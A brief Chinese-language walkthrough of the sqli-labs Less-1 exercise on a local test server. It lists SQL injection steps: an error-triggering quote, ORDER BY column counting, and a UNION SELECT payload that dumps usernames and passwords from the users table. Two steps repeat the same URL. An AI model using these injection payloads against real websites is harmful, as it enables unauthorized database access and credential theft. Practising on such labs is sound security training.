less-1：

1、通过 http://127.0.0.1/sqli/Less-1/?id=1' 报错 说明存在注入

2、通过http://127.0.0.1/sqli/Less-1/?id=1' order by 10000 -- +判断闭合字符 为 ‘

3.使用http://127.0.0.1/sqli/Less-1/?id=1' order by 10000 -- + 二分法来判断列数

4.判断显示位

5.通过命令http://127.0.0.1/sqli/Less-1/?id=1' and 1=2 union  select 1,group_concat(username),group_concat(password) from users -- +查看字段内容